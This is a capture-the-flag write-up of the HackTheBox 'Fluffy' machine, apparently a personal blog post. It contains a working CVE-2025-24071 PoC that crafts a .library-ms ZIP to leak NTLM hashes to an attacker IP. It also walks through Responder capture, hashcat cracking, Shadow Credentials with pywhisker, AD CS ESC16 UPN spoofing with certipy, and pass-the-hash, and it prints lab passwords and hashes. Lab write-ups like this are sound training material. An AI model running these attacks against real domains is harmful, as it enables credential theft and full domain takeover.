fluffy

Fluffy is an Easy-rated Windows machine and my first box from the new CPTS Preparation Track on HackTheBox. It’s a great box if you want to get hands-on with modern Active Directory attacks. We start from an assumed-breach perspective, inject a crafted .library-ms file via an SMB share to harvest NTLM hashes, and continue by abusing Generic Write privileges through Shadow Credentials. The final step to Domain Takeover is exploiting an AD CS ESC16 vulnerability.


🕵️ Enumeration#

After spawning the machine and connecting to the VPN, we kick things off with some basic enumeration.

Since this is an assumed-breach scenario, we already have initial credentials to work with:

j.fleischman:J0elTHEM4n1990!

🔍 Initial Nmap Scan#

We start with a full port scan:

nmap -p- -A -oA nmap/full 10.129.232.88 -vv
  • -A — Aggressive mode: enables OS detection, version scanning, NSE script scanning, and traceroute
  • -vv — Verbose output
  • -oA — Output in all formats

The scan gives us a lot to work with. A few things immediately stand out and confirm we’re dealing with an Active Directory environment:

  • Port 88 — Kerberos
  • Port 389 — LDAP
  • Port 53 — Simple DNS Plus
  • LDAP Domain: DC01.FLUFFY.HTB, so almost certainly a Domain Controller
  • CA: fluffy-DC01-CA
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        .NET Message Framing

We add the domain and Domain Controller to our hosts file before moving on:

10.129.232.88 fluffy.htb DC01 DC01.fluffy.htb

🔎 Credentialed Enumeration#

First things first — we verify our SMB access with NetExec:

nxc smb 10.129.232.88 -u j.fleischman -p 'J0elTHEM4n1990!'

Then we enumerate users and groups via SMB and LDAP:

nxc smb 10.129.232.88 -u j.fleischman -p 'J0elTHEM4n1990!' --users
nxc ldap 10.129.232.88 -u j.fleischman -p 'J0elTHEM4n1990!' --groups

We take note of everything we find, then move on to checking SMB shares:

nxc smb 10.129.232.88 -u j.fleischman -p 'J0elTHEM4n1990!' --shares

We have read and write access on the IT share — interesting. I like to pull everything down locally to go through it at my own pace:

smbclient //10.129.232.88/IT -U j.fleischman -c "prompt; recurse; mget *"

Among the downloaded files there’s a PDF that lists several CVEs. Worth digging into.


🔀 Lateral Movement#

After researching the CVEs from that PDF, CVE-2025-24071 looked the most promising. I found a PoC for it on GitHub — unfortunately I couldn’t locate the repository again when writing this up, so I can’t link it directly. The gist of it: the PoC creates a malicious ZIP archive containing a .library-ms file. When a user extracts the archive, Windows automatically tries to resolve the network path embedded in the file, leaking an NTLM hash to whoever is listening.

The relevant part of the PoC looks like this:

import os
import zipfile

def main():
    file_name = input("Enter your file name: ")
    ip_address = input("Enter IP (e.g. 192.168.1.162): ")

    library_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\{ip_address}\\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
"""

    library_file_name = f"{file_name}.library-ms"
    with open(library_file_name, "w", encoding="utf-8") as f:
        f.write(library_content)

    with zipfile.ZipFile("exploit.zip", mode="w", compression=zipfile.ZIP_DEFLATED) as zipf:
        zipf.write(library_file_name)

    if os.path.exists(library_file_name):
        os.remove(library_file_name)

    print("Completed.")

if __name__ == "__main__":
    main()

When I was going through the IT share earlier, I noticed that some ZIP files appeared to have already been extracted. There’s likely an automated process running that unpacks archives — and that’s exactly what we need. We upload our crafted ZIP, start Responder, and wait:

responder -I tun0

Within a few seconds we get an NTLM hash for p.agila:

p.agila::FLUFFY:1122334455667788:BEFE75F0337516CBF40C84BE946A1F24:0101...

We crack it with Hashcat:

hashcat hash /opt/lists/rockyou.txt

Password: prometheusx-303


🩸 BloodHound Enumeration#

With p.agila’s credentials we run the BloodHound collector:

bloodhound-python -u 'p.agila' -p 'prometheusx-303' -d 'fluffy.htb' -ns 10.129.232.88 -c All

I’m using BloodHound CE inside my Exegol container to visualize the data. We mark both known accounts as owned and start looking for attack paths.

The key finding here: p.agila is a member of the Service Account Managers group, which holds GenericAll permissions over the Service Accounts OU — including the accounts winrm_svc and ca_svc. GenericAll means full control, so we have plenty of options.


Shadow Credentials Attack#

My first instinct was to just force a password reset on winrm_svc:

bloodyAD -u 'p.agila' -p 'prometheusx-303' -d 'fluffy.htb' --host 10.129.232.88 set password 'winrm_svc' 'Password123!'

That failed with an LDAPModifyException — most likely due to password policy restrictions or a requirement to supply the old password. Fair enough.

Next attempt: Targeted Kerberoasting. Since winrm_svc already has an SPN assigned, we can request a TGS ticket directly:

GetUserSPNs.py -dc-ip 10.129.232.88 FLUFFY.HTB/p.agila -request-user winrm_svc -outputfile winrm_svc_tgs

We hit a clock skew error:

[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Classic. We fix that by syncing time with rdate and faketime:

rdate -n 10.129.232.88 -p
faketime "2026-03-29 20:32:00" zsh

The TGS request goes through this time — but the hash isn’t in rockyou.txt. Time for Plan B.

We go with a Shadow Credentials attack instead. First, we add p.agila to the Service Accounts group to make sure we have all the necessary permissions:

bloodyAD --host DC01.FLUFFY.HTB -d FLUFFY.HTB -u p.agila -p 'prometheusx-303' add groupMember "Service Accounts" p.agila

Then we use pywhisker to add a shadow credential to the winrm_svc account:

pywhisker --dc-ip 10.129.232.88 -d FLUFFY.HTB -u p.agila -p 'prometheusx-303' --target winrm_svc --action add

We use the generated certificate to request a TGT:

gettgtpkinit.py -cert-pfx ZgMTQ9uV.pfx -pfx-pass 'FcObuVAw25FqN7QTKLDb' -dc-ip 10.129.232.88 FLUFFY.HTB/winrm_svc /tmp/winrm_svc.ccache

And finally authenticate via Pass-The-Ticket with evil-winrm:

export KRB5CCACHE=/tmp/winrm_svc.ccache
evil-winrm -i dc01.fluffy.htb -r fluffy.htb

🚩 User flag obtained!


👑 Privilege Escalation#

BloodHound shows the path to Domain Admin runs through ca_svc. We repeat the exact same Shadow Credentials process for ca_svc — pywhisker to add the credential, gettgtpkinit.py to get the TGT — and now we’re operating as ca_svc.

We use certipy to look for vulnerable certificate templates:

certipy find -u 'CA_SVC@FLUFFY.HTB' -dc-ip 10.129.232.88 -target DC01.FLUFFY.HTB -vulnerable -stdout -k

ESC16 shows up in the output. The Security Extension is disabled on the CA, which opens the door for certificate-based impersonation.


🎉 Exploiting ESC16#

The idea behind ESC16 is that we can update the userPrincipalName (UPN) of an account we control to match that of a high-value target — in this case, the Domain Administrator. The CA will then issue a certificate that authenticates as that user.

Step 1 — update the UPN of ca_svc to impersonate the administrator:

certipy account -u 'winrm_svc' -dc-ip 10.129.232.88 -target DC01.FLUFFY.HTB -upn 'administrator' -user 'ca_svc' update -k

Step 2 — request a certificate. Since the UPN now points to administrator, the CA issues it accordingly:

certipy req -k -dc-host DC01.FLUFFY.HTB -target DC01.FLUFFY.HTB -ca fluffy-DC01-CA -template User -u 'administrator'

Step 3 — clean up and restore the original UPN:

certipy account -u 'winrm_svc' -dc-ip 10.129.232.88 -target DC01.FLUFFY.HTB -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update -k

Step 4 — authenticate with the forged certificate to extract the NT hash:

certipy auth -dc-ip 10.129.232.88 -pfx administrator.pfx -u administrator -domain fluffy.htb
administrator:8da83a3fa618b6e3a00e93f676c92a6e

Root Flag ✅#

With the Administrator hash, we do a simple Pass-The-Hash login:

evil-winrm -i dc01.fluffy.htb -u 'administrator' -H 8da83a3fa618b6e3a00e93f676c92a6e